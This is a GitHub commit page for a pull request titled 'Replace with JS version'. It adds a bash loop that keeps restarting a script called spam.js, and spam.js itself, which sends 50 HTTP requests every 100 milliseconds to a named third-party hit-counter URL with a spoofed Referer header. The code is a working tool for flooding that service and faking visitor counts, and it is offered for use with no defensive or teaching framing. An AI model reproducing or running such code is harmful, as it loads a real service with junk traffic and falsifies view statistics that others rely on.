-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from anon-123456789/main
Replace with JS version
- Loading branch information
Showing
5 changed files
with
78 additions
and
56 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
#!/usr/bin/env bash | ||
|
||
# Function to handle SIGINT signal (Ctrl+C) | ||
sigint_handler() { | ||
# Kill the process if it's running | ||
if [ -n "$process_id" ]; then | ||
kill "$process_id" | ||
fi | ||
exit 0 | ||
} | ||
|
||
# Trap SIGINT signal (Ctrl+C) and call sigint_handler function | ||
trap sigint_handler SIGINT | ||
|
||
# Infinite loop | ||
while : | ||
do | ||
# Start the process (replace "your_process_command" with the actual command) | ||
bun spam.js & | ||
|
||
# Get the process ID of the last background process | ||
process_id=$! | ||
|
||
# Wait for 1 minute | ||
sleep 60 | ||
|
||
# Kill the process | ||
kill $process_id | ||
|
||
# Optionally, wait for a brief moment to ensure the process is killed before restarting | ||
sleep 1 | ||
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
const http = require('http'); | ||
|
||
let requestsSent = 0; | ||
|
||
function sendRequest(url) { | ||
const options = { | ||
headers: { | ||
'Referer': 'https://whathow.neocities.org' | ||
} | ||
}; | ||
|
||
http.get(url, options, (res) => { | ||
console.log(`Request to ${url} - Status code: ${res.statusCode}`); | ||
requestsSent++; | ||
console.log(`${requestsSent} requests sent so far.`); | ||
}).on('error', (err) => { | ||
console.error(`Error sending request: ${err.message}`); | ||
}); | ||
} | ||
|
||
function continuousRequests(url) { | ||
setInterval(() => { | ||
for (let i = 0; i < 50; i++) { | ||
sendRequest(url); | ||
} | ||
}, 100); | ||
} | ||
|
||
const url = "https://counter11.freecounterstat.com/private/counter.php?c=pdz4dufhlf9qlk4krksnw7twxbhlez2e&init=1711161297330&init_freecounterstat=0&library=library_counters&coef=0.75&type=193&lenght=9&pv=0"; | ||
continuousRequests(url); |